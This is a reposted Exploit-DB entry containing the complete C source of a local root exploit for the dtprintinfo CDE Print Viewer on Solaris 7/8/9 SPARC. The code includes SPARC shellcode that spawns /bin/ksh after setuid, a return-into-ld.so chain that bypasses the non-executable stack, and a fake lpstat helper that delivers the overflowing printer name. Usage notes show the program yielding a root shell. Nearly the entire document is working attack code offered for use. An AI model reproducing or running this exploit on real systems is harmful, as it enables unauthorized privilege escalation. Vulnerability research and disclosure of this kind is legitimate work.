Solaris 7/8/9 (SPARC) – ‘dtprintinfo’ Local Privilege Escalation (2)

  • 作者: Marco Ivaldi
    日期: 2019-05-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46879/
  • /*
     * raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC
     * Copyright (c) 2004-2019 Marco Ivaldi <raptor@0xdeadbeef.info>
     *
     * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
     * local root. Many thanks to Dave Aitel for discovering this vulnerability
     * and for his interesting research activities on Solaris/SPARC.
     *
     * "None of my dtprintinfo work is public, other than that 0day pack being
     * leaked to all hell and back. It should all basically still work. Let's
     * keep it that way, cool? :>" -- Dave Aitel
     *
     * This is the ret-into-ld.so version of raptor_dtprintname_sparc.c, able 
     * to bypass the non-executable stack protection (noexec_user_stack=1 in 
     * /etc/system).
     *
     * NOTE. If experiencing troubles with null-bytes inside the ld.so.1 memory 
     * space, use sprintf() instead of strcpy() (tested on some Solaris 7 boxes).
     *
     * Usage:
     * $ gcc raptor_dtprintname_sparc2.c -o raptor_dtprintname_sparc2 -ldl -Wall
     * [on your xserver: disable the access control]
     * $ ./raptor_dtprintname_sparc2 192.168.1.1:0
     * [...]
     * # id
     * uid=0(root) gid=10(staff)
     * #
     *
     * Tested on:
     * SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1
     * SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
     * SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10
     * [SunOS 5.10 is also vulnerable, the exploit might require some tweaking]
     */
    
    #include <dlfcn.h>
    #include <fcntl.h>
    #include <link.h>
    #include <procfs.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <strings.h>
    #include <unistd.h>
    #include <sys/systeminfo.h>
    
    #define INFO1	"raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC"
    #define INFO2	"Copyright (c) 2004-2019 Marco Ivaldi <raptor@0xdeadbeef.info>"
    
    #define	VULN	"/usr/dt/bin/dtprintinfo"	// the vulnerable program
    #define	BUFSIZE	301				// size of the printer name
    #define	FFSIZE	64 + 1				// size of the fake frame
    #define	DUMMY	0xdeadbeef			// dummy memory address
    
    /* voodoo macros */
    #define	VOODOO32(_,__,___)	{_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
    #define	VOODOO64(_,__,___)	{_+=7-(_+(__+___+1)*4+3)%8;}
    
    char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
    /* double setuid() */
    "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
    "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
    /* execve() */
    "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
    "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
    "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
    
    /* globals */
    char	*env[256];
    int	env_pos = 0, env_len = 0;
    
    /* prototypes */
    int	add_env(char *string);
    void	check_zero(int addr, char *pattern);
    int	search_ldso(char *sym);
    int	search_rwx_mem(void);
    void	set_val(char *buf, int pos, int val);
    
    /*
     * main()
     */
    int main(int argc, char **argv)
    {
    	char	buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16];
    	char	platform[256], release[256], display[256];
    	int	i, offset, ff_addr, sc_addr, ret_pos, fpt_pos;
    	int	plat_len, prog_len, rel;
    
    	char	*arg[2] = {"foo", NULL};
    	int	arg_len = 4, arg_pos = 1;
    
    	int	sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
    	int	ret = search_ldso("strcpy");	/* or sprintf */
    	int	rwx_mem = search_rwx_mem();
    
    	/* fake lpstat code */
    	if (!strcmp(argv[0], "lpstat")) {
    
    		/* check command line */
    		if (argc != 2)
    			exit(1);
    
    		/* get ret and fake frame addresses from environment */
    		ret = (int)strtoul(getenv("RET"), (char **)NULL, 0);
    		ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0);
    
    		/* prepare the evil printer name */
    		memset(buf, 'A', sizeof(buf));
    		buf[sizeof(buf) - 1] = 0x0;
    
    		/* fill with return and fake frame addresses */
    		for (i = 0; i < BUFSIZE; i += 4) {
    			/* apparently, we don't need to bruteforce */
    			set_val(buf, i, ret - 4);
    			set_val(buf, i += 4, ff_addr);
    		}
    
    		/* print the expected output and exit */
    		if(!strcmp(argv[1], "-v")) {
    			fprintf(stderr, "lpstat called with -v\n");
    			printf("device for %s: /dev/null\n", buf);
    		} else {
    			fprintf(stderr, "lpstat called with -d\n");
    			printf("system default destination: %s\n", buf);
    		}
    		exit(0);
    	}
    
    	/* print exploit information */
    	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
    
    	/* read command line */
    	if (argc != 2) {
    		fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
    		exit(1);
    	}
    	sprintf(display, "DISPLAY=%s", argv[1]);
    
    	/* get some system information */
    	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
    	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
    	rel = atoi(release + 2);
    
    	/* prepare the fake frame */
    	bzero(ff, sizeof(ff));
    
    	/*
    	 * saved %l registers
    	 */
    	set_val(ff, i= 0, DUMMY);		/* %l0 */
    	set_val(ff, i += 4, DUMMY);		/* %l1 */
    	set_val(ff, i += 4, DUMMY);		/* %l2 */
    	set_val(ff, i += 4, DUMMY);		/* %l3 */
    	set_val(ff, i += 4, DUMMY);		/* %l4 */
    	set_val(ff, i += 4, DUMMY);		/* %l5 */
    	set_val(ff, i += 4, DUMMY);		/* %l6 */
    	set_val(ff, i += 4, DUMMY);		/* %l7 */
    
    	/*
    	 * saved %i registers
    	 */
    	set_val(ff, i += 4, rwx_mem);		/* %i0: 1st arg to strcpy() */
    	set_val(ff, i += 4, 0x42424242);	/* %i1: 2nd arg to strcpy() */
    	set_val(ff, i += 4, DUMMY);		/* %i2 */
    	set_val(ff, i += 4, DUMMY);		/* %i3 */
    	set_val(ff, i += 4, DUMMY);		/* %i4 */
    	set_val(ff, i += 4, DUMMY);		/* %i5 */
    	set_val(ff, i += 4, sb - 1000);		/* %i6: frame pointer */
    	set_val(ff, i += 4, rwx_mem - 8);	/* %i7: return address */
    
    	/* fill the envp, keeping padding */
    	sc_addr = add_env(ff);
    	add_env(sc);
    	ret_pos = env_pos;
    	add_env("RET=0x41414141");
    	fpt_pos = env_pos;
    	add_env("FPT=0x42424242");
    	add_env(display);
    	add_env("PATH=.:/usr/bin");
    	add_env("HOME=/tmp");
    	add_env(NULL);
    
    	/* calculate the offset to argv[0] (voodoo magic) */
    	plat_len = strlen(platform) + 1;
    	prog_len = strlen(VULN) + 1;
    	offset = arg_len + env_len + plat_len + prog_len;
    	if (rel > 7)
    		VOODOO64(offset, arg_pos, env_pos)
    	else
    		VOODOO32(offset, plat_len, prog_len)
    
    	/* calculate the needed addresses */
    	ff_addr = sb - offset + arg_len;
    	sc_addr += ff_addr;
    
    	/* set fake frame's %i1 */
    	set_val(ff, 36, sc_addr);		/* 2nd arg to strcpy() */
    
    	/* overwrite RET and FPT env vars with the right addresses */
    	sprintf(ret_var, "RET=0x%x", ret);
    	env[ret_pos] = ret_var;
    	sprintf(fpt_var, "FPT=0x%x", ff_addr);
    	env[fpt_pos] = fpt_var;
    
    	/* create a symlink for the fake lpstat */
    	unlink("lpstat");
    	symlink(argv[0], "lpstat");
    
    	/* print some output */
    	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
    	fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
    	fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
    	fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
    	fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
    	fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
    
    	/* run the vulnerable program */
    	execve(VULN, arg, env);
    	perror("execve");
    	exit(0);
    }
    
    /*
     * add_env(): add a variable to envp and pad if needed
     */
    int add_env(char *string)
    {
    	int	i;
    
    	/* null termination */
    	if (!string) {
    		env[env_pos] = NULL;
    		return(env_len);
    	}
    
    	/* add the variable to envp */
    	env[env_pos] = string;
    	env_len += strlen(string) + 1;
    	env_pos++;
    
    	/* pad the envp using zeroes */
    	if ((strlen(string) + 1) % 4)
    		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
    			env[env_pos] = string + strlen(string);
    			env_len++;
    		}
    
    	return(env_len);
    }
    
    /*
     * check_zero(): check an address for the presence of a 0x00
     */
    void check_zero(int addr, char *pattern)
    {
    	if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
    	!(addr & 0xff000000)) {
    		fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
    		exit(1);
    	}
    }
    
    /*
     * search_ldso(): search for a symbol inside ld.so.1
     */
    int search_ldso(char *sym)
    {
    	int		addr;
    	void		*handle;
    	Link_map	*lm;
    
    	/* open the executable object file */
    	if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
    		perror("dlopen");
    		exit(1);
    	}
    
    	/* get dynamic load information */
    	if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
    		perror("dlinfo");
    		exit(1);
    	}
    
    	/* search for the address of the symbol */
    	if ((addr = (int)dlsym(handle, sym)) == NULL) {
    		fprintf(stderr, "sorry, function %s() not found\n", sym);
    		exit(1);
    	}
    
    	/* close the executable object file */
    	dlclose(handle);
    
    	check_zero(addr - 4, sym);
    	return(addr);
    }
    
    /*
     * search_rwx_mem(): search for an RWX memory segment valid for all
     * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
     */
    int search_rwx_mem(void)
    {
    	int	fd;
    	char	tmp[16];
    	prmap_t	map;
    	int	addr = 0, addr_old;
    
    	/* open the proc filesystem */
    	sprintf(tmp,"/proc/%d/map", (int)getpid());
    	if ((fd = open(tmp, O_RDONLY)) < 0) {
    		fprintf(stderr, "can't open %s\n", tmp);
    		exit(1);
    	}
    
    	/* search for the last RWX memory segment before stack (last - 1) */
    	while (read(fd, &map, sizeof(map)))
    		if (map.pr_vaddr)
    			if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
    				addr_old = addr;
    				addr = map.pr_vaddr;
    			}
    	close(fd);
    
    	/* add 4 to the exact address NULL bytes */
    	if (!(addr_old & 0xff))
    		addr_old |= 0x04;
    	if (!(addr_old & 0xff00))
    		addr_old |= 0x0400;
    
    	return(addr_old);
    }
    
    /*
     * set_val(): copy a dword inside a buffer
     */
    void set_val(char *buf, int pos, int val)
    {
    	buf[pos] =	(val & 0xff000000) >> 24;
    	buf[pos + 1] =	(val & 0x00ff0000) >> 16;
    	buf[pos + 2] =	(val & 0x0000ff00) >> 8;
    	buf[pos + 3] =	(val & 0x000000ff);
    }